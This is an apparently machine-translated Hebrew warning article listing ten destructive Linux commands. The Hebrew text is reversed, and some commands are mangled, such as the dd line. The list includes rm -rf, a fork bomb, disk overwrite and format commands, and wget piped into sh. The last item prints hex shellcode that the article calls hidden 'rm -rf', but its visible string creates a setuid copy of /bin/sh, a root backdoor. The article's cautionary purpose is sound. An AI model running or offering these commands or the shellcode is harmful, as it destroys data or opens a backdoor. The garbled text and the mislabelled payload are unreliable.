סקונילב עצבל ךל רוסא - רתויב תונכוסמה תודוקפה 10


.ןתוא עצבתש ינפל םיימעפ בושחל ךילעש תודוקפהמ קלחל ךתוא ריכהל םיצור קר ונא .סקוניל וא סקוניל הדוקפה תרוש לע סועכל ךל םורגל דעונ אל הז רמאמ .השוע התא המ חוטב ךניא רשאכ דחוימב דואמ תנכוסמ תוי

rm -rf תדוקפ .1

.ןה rm תדוקפל תושמשמה תויורשפאהמ קלח .תכרעמל ךיפה יתלב קזנל םורגל תולולע תורוב וא הדלקה תואיגש טעמ ךא .הנכותו היקית קוחמל רתויב תוריהמה םיכרדה תחא איה rm -rf הדוקפה

    .הקיחמ לכ רשאל ךממ שקבי אוה ,"bashrc." ץבוקב' rm -i -כ 'rm' תדוקפ לש יוניכ רוצ ,'rm' תדוקפ תועצמאב ץבוקה לש תירקמ הקיחמ לע רבגתהל ידכ .rm -rf הדוקפ עצבמ התא רשאכ רהזיה ,ךכיפל

    הדוקפ :; {& :| :}() :.2

    .תאפוק תכרעמהש דע בושו בוש עצבל ךישממ הז .עקרב תחא םעפו תיזחב תחא םעפ ,םיימעפ המצע הנכמה ,':' םשב היצקנופ תרדגה ידי לע תלעופ איה .גלזמ תצצפ השעמל אוה ליעל רומאה

    :(){:|:&};:

    dev/sda/<הדוקפ .3

    .המיסחה לע םינותנ לש טלחומ ןדבוא רצונ ךכו ,םיימלוג םינותנב ופלחוי קולבב םיצבקה לכו םיימלוג םינותנ תבתוכ ליעלש הדוקפה .dev/sda/קולבה לע 'הדוקפ' לש טלפה תא תבתוכ ליעלש הדוקפה

    mv/dev/null תייקית .4

    .םיחילצמ הביתכה תלועפש םיחווידהו וילא םיבתכנש םינותנה לכ תא ךילשמש דחוימ ץבוק אוה null וא dev/null/סקוניל רישכמב .dev/null/לא 'היקית' ריבעת ליעלש הדוקפה

    # mv /home/user/* /dev/null

    .blackhole (null) ל חלשנש המ לכ ילולימה ושוריפש ,dev/null/לא םישמתשמ תיירפס לש ןכותה לכ תא ריבעת ליעלש הדוקפה

    5. wget http:// ינודז רוקמ -O- | ש

    .תדרוהש טירסתה תא עצבת sh -ו טפירקסה תא דירות Wget הדוקפה .ותוא עצבת זאו ינודז רוקממ טפירקס דירות ליעלש הדוקפה

    .ןמיהמ רוקממ ודרוהש םימושיי/םיטירסתב קר שמתשה .םיטפירקסו תוליבח דירומ התא ונממש רוקמל דואמ עדומ תויהל ךירצ התא :הרעה

    6. mkfs.ext3/dev/sda

    .רוזחשל ןתינ יתלב בלשב ךלש תכרעמה תא ריאשמ ,םינותנ לכ אלל !ירמגל השדח ,השדח היהת (חישקה קסידה ןנוכ) ךלש המיסחה ליעלש הדוקפה עוציב ירחאש עדוי תייה יאדוובו 'sda' המיסחה תא טמרפת הלעמלש הדוקפ

    ץבוק <.7

    .רחא הרוצת ץבוק וא תכרעמ לכ וא הרוצתה ץבוק תא בותכת "xt.conf <" ומכ תורוב וא הדלקה תאיגש םע תעצבתמ ל"נה הדוקפה םא .ץבוקה ןכות תא ףוטשל תשמשמ ליעלש הדוקפה

    8. ^foo ^רב

    .foo ^bar ^תדוקפ תועצמאב תירוקמה הדוקפב יונישה תא בטיה קודבל ןוכיסה תא תחקל אל םא דירטמ תויהל לוכי תמאב הז לבא .הדוקפה לכ תא בוש דילקהל ךרוצ אלל תמדוקה הצירה תדוקפ תכירעל תשמשמ ,ונלש רתו

    9. dd םא =/dev/לש יארקא =/dev/sda

    .רוזחשל ןתינ יתלבו יבקע אל בלשב ראשית ךלש תכרעמה !ןבומכ .קולבל םייארקא לבז ינותנ בותכתו קולבה לש SDA -ה תא קחמת ליעל הדוקפה

    דוקיפה תא ריתסה .10

    .ךלש שרושה תציחמ תא קחמת ךלש ףוסמב ןלהלש דוקה תלעפה .תועטהל לולע הרוב שמתשמש ךכ ,hex -ב םירתסומ םידוקה ןאכ .(rm -rf) הלעמלש הנושארה הדוקפה אלא הניא הטמל הדוקפה

    .עודי אל רוקממ םידוק ץירהל/ףוסאל ןיא .האצותה היהת המו םישוע םתאש המל םיעדומ תויהל םכילע .יוהיזל ןתינ וניא םיתיעלו רתסומ תויהל לולע םויאה יכ הארמ וז הדוקפ

    char esp[] __attribute__ ((section(“.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    .ךכל םיארחא טנימקט אלו רמאמה רבחמ אל רשא ךלש תכרעמה תא וקרפי ,ל"נה הדוקפה עוציב בקע ,םינותנ ןדבוא וא תויבקע לכ .תילאוטריו הנוכמב םתוא לעפה ,םתוא קודבל הצור התא םא .רפסה תיב בשחמ וא ךרבח לש

    .ךלש יכרעה בושמה תא תתל חכשת לאו תובוגתה עטק תועצמאב ונל רפס אנא ,המישרל ףיסונש הצרתו הלאכ תורחא תונכוסמ סקוניל תודוקפ ריכמ התא םא .טנימקטל רבוחמו ןווכמ ראשיה זא דע .אורקל ובהאי םישנאש ףסו